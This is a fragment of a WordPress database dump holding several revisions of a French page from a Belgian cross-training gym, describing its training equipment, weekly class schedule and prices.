(73, 1, '2013-06-16 11:14:12', '2013-06-16 11:14:12', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:14:12', '2013-06-16 11:14:12', '', 22, 'http://www.crosstrainingcenter.be/?p=73', 0, 'revision', '', 0),
(74, 1, '2013-06-16 11:19:30', '2013-06-16 11:19:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:19:30', '2013-06-16 11:19:30', '', 22, 'http://www.crosstrainingcenter.be/?p=74', 0, 'revision', '', 0),
(75, 1, '2013-06-16 11:22:29', '2013-06-16 11:22:29', '', 'ript', '', 'inherit', 'open', 'open', '', 'ript', '', '', '2013-06-16 11:22:29', '2013-06-16 11:22:29', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg', 0, 'attachment', 'image/jpeg', 0),
(76, 1, '2013-06-16 11:22:21', '2013-06-16 11:22:21', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:22:21', '2013-06-16 11:22:21', '', 22, 'http://www.crosstrainingcenter.be/?p=76', 0, 'revision', '', 0);
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(284, 1, '2013-07-04 16:29:04', '2013-07-04 16:29:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 